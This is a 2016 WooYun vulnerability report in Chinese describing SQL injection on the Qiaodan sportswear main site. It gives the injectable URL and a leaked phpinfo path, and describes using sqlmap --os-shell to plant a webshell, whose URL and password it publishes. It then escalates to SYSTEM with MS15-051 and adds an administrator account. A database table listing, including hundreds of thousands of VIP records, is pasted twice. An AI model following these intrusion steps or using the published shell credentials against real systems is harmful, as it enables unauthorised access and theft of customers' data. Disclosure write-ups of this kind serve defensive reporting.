当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0193727

漏洞标题：乔丹主站SQL注入（泄漏大量订单/大量数据/root+dba写入shell/失败的内网漫游）

相关厂商：乔丹

漏洞作者： DeadSea

提交时间：2016-04-08 11:02

修复时间：2016-05-23 11:10

公开时间：2016-05-23 11:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

这是我最失败的一次。。。

详细说明：

http://qiaodan.com/e/cpdh.php?classid=1


1.png


存在注入

1.png


root权限

1.png


dba权限开启。利用phpinfo泄漏的绝对路径
phpinfo地址:

http://www.qiaodan.com/VIP/php.php


绝对路径D:\WWW\VIP\
sqlmap命令 --os-shell

1.png

成功写入，上传一句话。我上传了很多 都是显示500然后群里的大牛告诉我，显示500不代表不执行，所以就直接拿菜刀连接了。没想到成功连接上了

1.png


http://www.qiaodan.com/VIP/sea.php 密码0


接下来就是我最失败的地方了。提权
上传了个cmd 没想到，执行失败。

1.png


之后各种上传aspx的马，无一例外都给杀了，最后上传了个执行cmd的aspx小脚本

1.png


能执行whoami/ipconfig/这些小命令，net user这些查看用户的完全显示不出来，不知道是不是脚本的问题。后来又各种上传exp。就成功了
用了MS15-051 直接获取了sy权限

1.png


添加管理员无回显。服务器端口1313
附带一个大黑阔提权成功图

1.png


数据

Database: u817646
+--------------------------------+---------+
| 
Table                          
| Entries |
+--------------------------------+---------+
| 
qiaodan_coode                  | 121720751 |
| 
qiaodan_vip                    | 524149  |
| 
qiaodan_vip_1603               | 524149  |
| 
qiaodan_vip_002                | 497357  |
| 
qiaodan_vip_151203             | 446909  |
| 
qiaodan_vip_1601               | 446909  |
| 
qiaodan_vip_1507               | 414938  |
| 
qiaodan_vip_150915             | 389539  |
| 
qiaodan_vip_151008             | 389539  |
| 
qiaodan_vip_1509               | 298000  |
| 
qiaodan_vip_1508               | 277857  |
| 
qiaodan_ecms_products_data_1   | 16539   |
| 
qiaodan_ecms_products_index    | 16539   |
| 
qiaodan_products               | 15771   |
| 
qiaodan_products55_copy        | 15237   |
| 
qiaodan_ecms_products          | 14712   |
| 
qiaodan_products2              | 14618   |
| 
qiaodan_ecms_products3         | 13712   |
| 
qiaodan_ecms_products2         | 13196   |
| 
qiaodan_ecms_products_data_1_2 | 13196   |
| 
qiaodan_ecms_products_index2   | 13196   |
| 
qiaodan_enewsdolog             | 10044   |
| 
qiaodan_viprecord              | 6866    |
| 
qiaodan_viprecord_copy         | 6356    |
| 
qiaodan_shopall_copy           | 5675    |
| 
tb_friend                      | 5613    |
| 
qiaodan_shopall                | 4992    |
| 
tb_game                        | 4692    |
| 
qiaodan_hlchange               | 4162    |
| 
tb_weibo                       | 3524    |
| 
qiaodan_baoming                | 3481    |
| 
tb_login                       | 2375    |
| 
qiaodan_lpchange               | 2037    |
| 
qiaodan_enewslog               | 1166    |
| 
tb_score                       | 1022    |
| 
tb_user                        | 1021    |
| 
qiaodan_enewssearchall         | 379     |
| 
tb_goodluck                    | 325     |
| 
qiaodan_baoming_copy           | 264     |
| 
qiaodan_kuz2013_picture        | 223     |
| 
hdzz_products2                 | 212     |
| 
hdzz_products                  | 196     |
| 
qiaodan_ecms_news              | 178     |
| 
qiaodan_ecms_news_data_1       | 178     |
| 
qiaodan_ecms_news_index        | 178     |
| 
qiaodan_enewsf                 | 176     |
| 
town_news_con                  | 175     |
| 
town_plus                      | 174     |
| 
qiaodan_enewstempbak           | 124     |
| 
waterfall                      | 123     |
| 
qiaodan_onlinebuy              | 101     |
| 
town_plus_set                  | 90      |
| 
qiaodan_eight_works            | 89      |
| 
qiaodan_enewsfile_1            | 88      |
| 
qiaodan_enewsfile_other        | 61      |
| 
tb_hys                         | 61      |
| 
qiaodan_2013qyh_picture        | 58      |
| 
qiaodan_enewstempdt            | 56      |
| 
town_news_cat                  | 56      |
| 
town_pageset                   | 56      |
| 
qiaodan_tech                   | 53      |
| 
town_menu                      | 52      |
| 
qiaodan_enewsclass             | 49      |
| 
qiaodan_enewsclass_copy        | 49      |
| 
qiaodan_enewsclass_stats       | 49      |
| 
qiaodan_enewsclassadd          | 49      |
| 
qiaodan_pinpai                 | 38      |
| 
qd_dyy_picture                 | 34      |
| 
qiaodan_ecms_tvc               | 33      |
| 
qiaodan_ecms_tvc_data_1        | 33      |
| 
qiaodan_ecms_tvc_index         | 33      |
| 
town_admin_auth                | 32      |
| 
town_admin_rights              | 31      |
| 
qiaodan_enewsbq                | 24      |
| 
town_link                      | 24      |
| 
qd_dyy_pro                     | 23      |
| 
town_form                      | 23      |
| 
qiaodan_eight_win              | 21      |
| 
qiaodan_lp                     | 21      |
| 
town_config                    | 21      |
| 
town_member_regform            | 21      |
| 
qiaodan_ecms_vip               | 19      |
| 
qiaodan_ecms_vip_data_1        | 19      |
| 
qiaodan_ecms_vip_index         | 19      |
| 
qiaodan_enewsad                | 19      |
| 
qiaodan_enewspage              | 19      |
| 
qiaodan_pinpai2                | 18      |
| 
qiaodan_enewslisttemp          | 16      |
| 
town_default_rights            | 16      |
| 
town_news_auth                 | 16      |
| 
qiaodan_enewsbqtemp            | 15      |
| 
qiaodan_pinpai_copy            | 15      |
| 
qiaodan_enewsnewstemp          | 14      |
| 
qiaodan_enewstempvar           | 14      |
| 
qiaodan_enewsmod               | 13      |
| 
qiaodan_enewstable             | 13      |
| 
town_stat_date                 | 12      |
| 
qiaodan_hl                     | 11      |
| 
daiyan                         | 10      |
| 
qiaodan_enewsclassnavcache     | 10      |
| 
qiaodan_seo                    | 10      |
| 
qiaodan_enewsfeedbackf         | 9       |
| 
town_coltype                   | 9       |
| 
town_member_rights             | 9       |
| 
town_secure                    | 9       |
| 
qiaodan_enewsclasstemp         | 8       |
| 
qiaodan_2013lzmarathon_picture | 7       |
| 
qiaodan_2013lzmarathon_seo     | 7       |
| 
qiaodan_enewspagetemp          | 7       |
| 
qiaodan_kuz2013_seo            | 7       |
| 
town_link_cat                  | 7       |
| 
qd_dyy_seo                     | 6       |
| 
qiaodan_2013lzmarathon_intro   | 6       |
| 
qiaodan_enewsshoppayfs         | 6       |
| 
qiaodan_gundong                | 6       |
| 
qiaodan_techclass              | 6       |
| 
town_advs_lb                   | 6       |
| 
town_member_func               | 6       |
| 
fengxing2_seo                  | 5       |
| 
qb_jfabout                     | 5       |
| 
qiaodan_enewsadclass           | 5       |
| 
qiaodan_enewsmemberf           | 5       |
| 
qiaodan_enewsnotcj             | 5       |
| 
town_cp_con                    | 5       |
| 
town_poll_data                 | 5       |
| 
`2012_seo`                     | 4       |
| 
hdzz_seo                       | 4       |
| 
qiaodan_admin                  | 4       |
| 
qiaodan_ecms_kuz               | 4       |
| 
qiaodan_ecms_kuz_data_1        | 4       |
| 
qiaodan_ecms_kuz_index         | 4       |
| 
qiaodan_enewsbqclass           | 4       |
| 
qiaodan_enewsplayer            | 4       |
| 
qiaodan_enewsshopps            | 4       |
| 
qiaodan_enewsuser              | 4       |
| 
qiaodan_enewsuseradd           | 4       |
| 
qiaodan_enewsuserloginck       | 4       |
| 
town_comment_cat               | 4       |
| 
qiaodan_ecms_zhanji            | 3       |
| 
qiaodan_ecms_zhanji_data_1     | 3       |
| 
qiaodan_ecms_zhanji_index      | 3       |
| 
qiaodan_enewsgroup             | 3       |
| 
qiaodan_enewspayapi            | 3       |
| 
qiaodan_enewsqmsg              | 3       |
| 
qiaodan_enewsvotetemp          | 3       |
| 
qiaodan_sina                   | 3       |
| 
tb_qqid                        | 3       |
| 
tb_reason                      | 3       |
| 
town_duty                      | 3       |
| 
qb_jfsort                      | 2       |
| 
qiaodan_enewsadminstyle        | 2       |
| 
qiaodan_enewsloginfail         | 2       |
| 
qiaodan_enewsmemberform        | 2       |
| 
qiaodan_enewspageclass         | 2       |
| 
qiaodan_enewspltemp            | 2       |
| 
qiaodan_enewsspacestyle        | 2       |
| 
qiaodan_enewsuserlist          | 2       |
| 
qiaodan_enewsuserlistclass     | 2       |
| 
qiaodan_enewswapstyle          | 2       |
| 
town_advs_page                 | 2       |
| 
town_cp_cat                    | 2       |
| 
town_down_cat                  | 2       |
| 
town_logo                      | 2       |
| 
town_member_type               | 2       |
| 
qiaodan_enewsclass_stats_set   | 1       |
| 
qiaodan_enewsclassf            | 1       |
| 
qiaodan_enewsdo                | 1       |
| 
qiaodan_enewsfeedbackclass     | 1       |
| 
qiaodan_enewsgbookclass        | 1       |
| 
qiaodan_enewsindexpage         | 1       |
| 
qiaodan_enewsjstemp            | 1       |
| 
qiaodan_enewslisttempclass     | 1       |
| 
qiaodan_enewsmember            | 1       |
| 
qiaodan_enewsmemberadd         | 1       |
| 
qiaodan_enewsmembergroup       | 1       |
| 
qiaodan_enewspicclass          | 1       |
| 
qiaodan_enewspl_set            | 1       |
| 
qiaodan_enewspostserver        | 1       |
| 
qiaodan_enewsprinttemp         | 1       |
| 
qiaodan_enewspublic            | 1       |
| 
qiaodan_enewspublic_update     | 1       |
| 
qiaodan_enewspubtemp           | 1       |
| 
qiaodan_enewssearchall_load    | 1       |
| 
qiaodan_enewssearchtemp        | 1       |
| 
qiaodan_enewsshop_set          | 1       |
| 
qiaodan_enewstempgroup         | 1       |
| 
qiaodan_session                | 1       |
| 
qiaodan_vipuser                | 1       |
| 
town_admin                     | 1       |
| 
town_advs_dl                   | 1       |
| 
town_advs_float                | 1       |
| 
town_advs_left                 | 1       |
| 
town_advs_pop                  | 1       |
| 
town_advs_right                | 1       |
| 
town_member                    | 1       |
| 
town_member_notice             | 1       |
| 
town_poll_config               | 1       |
|
town_poll_index                | 1       |
| 
town_stat_base                 | 1       |
| 
town_weather                   | 1       ||
+--------------------------------+---------+


还有许多sql注入就不贴出来了.

漏洞证明：

Database: u817646
+--------------------------------+---------+
| 
Table                          
| Entries |
+--------------------------------+---------+
| 
qiaodan_coode                  | 121720751 |
| 
qiaodan_vip                    | 524149  |
| 
qiaodan_vip_1603               | 524149  |
| 
qiaodan_vip_002                | 497357  |
| 
qiaodan_vip_151203             | 446909  |
| 
qiaodan_vip_1601               | 446909  |
| 
qiaodan_vip_1507               | 414938  |
| 
qiaodan_vip_150915             | 389539  |
| 
qiaodan_vip_151008             | 389539  |
| 
qiaodan_vip_1509               | 298000  |
| 
qiaodan_vip_1508               | 277857  |
| 
qiaodan_ecms_products_data_1   | 16539   |
| 
qiaodan_ecms_products_index    | 16539   |
| 
qiaodan_products               | 15771   |
| 
qiaodan_products55_copy        | 15237   |
| 
qiaodan_ecms_products          | 14712   |
| 
qiaodan_products2              | 14618   |
| 
qiaodan_ecms_products3         | 13712   |
| 
qiaodan_ecms_products2         | 13196   |
| 
qiaodan_ecms_products_data_1_2 | 13196   |
| 
qiaodan_ecms_products_index2   | 13196   |
| 
qiaodan_enewsdolog             | 10044   |
| 
qiaodan_viprecord              | 6866    |
| 
qiaodan_viprecord_copy         | 6356    |
| 
qiaodan_shopall_copy           | 5675    |
| 
tb_friend                      | 5613    |
| 
qiaodan_shopall                | 4992    |
| 
tb_game                        | 4692    |
| 
qiaodan_hlchange               | 4162    |
| 
tb_weibo                       | 3524    |
| 
qiaodan_baoming                | 3481    |
| 
tb_login                       | 2375    |
| 
qiaodan_lpchange               | 2037    |
| 
qiaodan_enewslog               | 1166    |
| 
tb_score                       | 1022    |
| 
tb_user                        | 1021    |
| 
qiaodan_enewssearchall         | 379     |
| 
tb_goodluck                    | 325     |
| 
qiaodan_baoming_copy           | 264     |
| 
qiaodan_kuz2013_picture        | 223     |
| 
hdzz_products2                 | 212     |
| 
hdzz_products                  | 196     |
| 
qiaodan_ecms_news              | 178     |
| 
qiaodan_ecms_news_data_1       | 178     |
| 
qiaodan_ecms_news_index        | 178     |
| 
qiaodan_enewsf                 | 176     |
| 
town_news_con                  | 175     |
| 
town_plus                      | 174     |
| 
qiaodan_enewstempbak           | 124     |
| 
waterfall                      | 123     |
| 
qiaodan_onlinebuy              | 101     |
| 
town_plus_set                  | 90      |
| 
qiaodan_eight_works            | 89      |
| 
qiaodan_enewsfile_1            | 88      |
| 
qiaodan_enewsfile_other        | 61      |
| 
tb_hys                         | 61      |
| 
qiaodan_2013qyh_picture        | 58      |
| 
qiaodan_enewstempdt            | 56      |
| 
town_news_cat                  | 56      |
| 
town_pageset                   | 56      |
| 
qiaodan_tech                   | 53      |
| 
town_menu                      | 52      |
| 
qiaodan_enewsclass             | 49      |
| 
qiaodan_enewsclass_copy        | 49      |
| 
qiaodan_enewsclass_stats       | 49      |
| 
qiaodan_enewsclassadd          | 49      |
| 
qiaodan_pinpai                 | 38      |
| 
qd_dyy_picture                 | 34      |
| 
qiaodan_ecms_tvc               | 33      |
| 
qiaodan_ecms_tvc_data_1        | 33      |
| 
qiaodan_ecms_tvc_index         | 33      |
| 
town_admin_auth                | 32      |
| 
town_admin_rights              | 31      |
| 
qiaodan_enewsbq                | 24      |
| 
town_link                      | 24      |
| 
qd_dyy_pro                     | 23      |
| 
town_form                      | 23      |
| 
qiaodan_eight_win              | 21      |
| 
qiaodan_lp                     | 21      |
| 
town_config                    | 21      |
| 
town_member_regform            | 21      |
| 
qiaodan_ecms_vip               | 19      |
| 
qiaodan_ecms_vip_data_1        | 19      |
| 
qiaodan_ecms_vip_index         | 19      |
| 
qiaodan_enewsad                | 19      |
| 
qiaodan_enewspage              | 19      |
| 
qiaodan_pinpai2                | 18      |
| 
qiaodan_enewslisttemp          | 16      |
| 
town_default_rights            | 16      |
| 
town_news_auth                 | 16      |
| 
qiaodan_enewsbqtemp            | 15      |
| 
qiaodan_pinpai_copy            | 15      |
| 
qiaodan_enewsnewstemp          | 14      |
| 
qiaodan_enewstempvar           | 14      |
| 
qiaodan_enewsmod               | 13      |
| 
qiaodan_enewstable             | 13      |
| 
town_stat_date                 | 12      |
| 
qiaodan_hl                     | 11      |
| 
daiyan                         | 10      |
| 
qiaodan_enewsclassnavcache     | 10      |
| 
qiaodan_seo                    | 10      |
| 
qiaodan_enewsfeedbackf         | 9       |
| 
town_coltype                   | 9       |
| 
town_member_rights             | 9       |
| 
town_secure                    | 9       |
| 
qiaodan_enewsclasstemp         | 8       |
| 
qiaodan_2013lzmarathon_picture | 7       |
| 
qiaodan_2013lzmarathon_seo     | 7       |
| 
qiaodan_enewspagetemp          | 7       |
| 
qiaodan_kuz2013_seo            | 7       |
| 
town_link_cat                  | 7       |
| 
qd_dyy_seo                     | 6       |
| 
qiaodan_2013lzmarathon_intro   | 6       |
| 
qiaodan_enewsshoppayfs         | 6       |
| 
qiaodan_gundong                | 6       |
| 
qiaodan_techclass              | 6       |
| 
town_advs_lb                   | 6       |
| 
town_member_func               | 6       |
| 
fengxing2_seo                  | 5       |
| 
qb_jfabout                     | 5       |
| 
qiaodan_enewsadclass           | 5       |
| 
qiaodan_enewsmemberf           | 5       |
| 
qiaodan_enewsnotcj             | 5       |
| 
town_cp_con                    | 5       |
| 
town_poll_data                 | 5       |
| 
`2012_seo`                     | 4       |
| 
hdzz_seo                       | 4       |
| 
qiaodan_admin                  | 4       |
| 
qiaodan_ecms_kuz               | 4       |
| 
qiaodan_ecms_kuz_data_1        | 4       |
| 
qiaodan_ecms_kuz_index         | 4       |
| 
qiaodan_enewsbqclass           | 4       |
| 
qiaodan_enewsplayer            | 4       |
| 
qiaodan_enewsshopps            | 4       |
| 
qiaodan_enewsuser              | 4       |
| 
qiaodan_enewsuseradd           | 4       |
| 
qiaodan_enewsuserloginck       | 4       |
| 
town_comment_cat               | 4       |
| 
qiaodan_ecms_zhanji            | 3       |
| 
qiaodan_ecms_zhanji_data_1     | 3       |
| 
qiaodan_ecms_zhanji_index      | 3       |
| 
qiaodan_enewsgroup             | 3       |
| 
qiaodan_enewspayapi            | 3       |
| 
qiaodan_enewsqmsg              | 3       |
| 
qiaodan_enewsvotetemp          | 3       |
| 
qiaodan_sina                   | 3       |
| 
tb_qqid                        | 3       |
| 
tb_reason                      | 3       |
| 
town_duty                      | 3       |
| 
qb_jfsort                      | 2       |
| 
qiaodan_enewsadminstyle        | 2       |
| 
qiaodan_enewsloginfail         | 2       |
| 
qiaodan_enewsmemberform        | 2       |
| 
qiaodan_enewspageclass         | 2       |
| 
qiaodan_enewspltemp            | 2       |
| 
qiaodan_enewsspacestyle        | 2       |
| 
qiaodan_enewsuserlist          | 2       |
| 
qiaodan_enewsuserlistclass     | 2       |
| 
qiaodan_enewswapstyle          | 2       |
| 
town_advs_page                 | 2       |
| 
town_cp_cat                    | 2       |
| 
town_down_cat                  | 2       |
| 
town_logo                      | 2       |
| 
town_member_type               | 2       |
| 
qiaodan_enewsclass_stats_set   | 1       |
| 
qiaodan_enewsclassf            | 1       |
| 
qiaodan_enewsdo                | 1       |
| 
qiaodan_enewsfeedbackclass     | 1       |
| 
qiaodan_enewsgbookclass        | 1       |
| 
qiaodan_enewsindexpage         | 1       |
| 
qiaodan_enewsjstemp            | 1       |
| 
qiaodan_enewslisttempclass     | 1       |
| 
qiaodan_enewsmember            | 1       |
| 
qiaodan_enewsmemberadd         | 1       |
| 
qiaodan_enewsmembergroup       | 1       |
| 
qiaodan_enewspicclass          | 1       |
| 
qiaodan_enewspl_set            | 1       |
| 
qiaodan_enewspostserver        | 1       |
| 
qiaodan_enewsprinttemp         | 1       |
| 
qiaodan_enewspublic            | 1       |
| 
qiaodan_enewspublic_update     | 1       |
| 
qiaodan_enewspubtemp           | 1       |
| 
qiaodan_enewssearchall_load    | 1       |
| 
qiaodan_enewssearchtemp        | 1       |
| 
qiaodan_enewsshop_set          | 1       |
| 
qiaodan_enewstempgroup         | 1       |
| 
qiaodan_session                | 1       |
| 
qiaodan_vipuser                | 1       |
| 
town_admin                     | 1       |
| 
town_advs_dl                   | 1       |
| 
town_advs_float                | 1       |
| 
town_advs_left                 | 1       |
| 
town_advs_pop                  | 1       |
| 
town_advs_right                | 1       |
| 
town_member                    | 1       |
| 
town_member_notice             | 1       |
| 
town_poll_config               | 1       |
|
town_poll_index                | 1       |
| 
town_stat_base                 | 1       |
| 
town_weather                   | 1       ||
+--------------------------------+---------+


修复方案：

版权声明：转载请注明来源 DeadSea@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评价

  1. 2016-04-08 17:52 | Mr.li ( 实习白帽子 | Rank:84 漏洞数:29 | 爱萌妹子的骚年~)

    是不会认领的…… 乌云里面已经报N次乔丹的问题，而且都是sql注入，然后……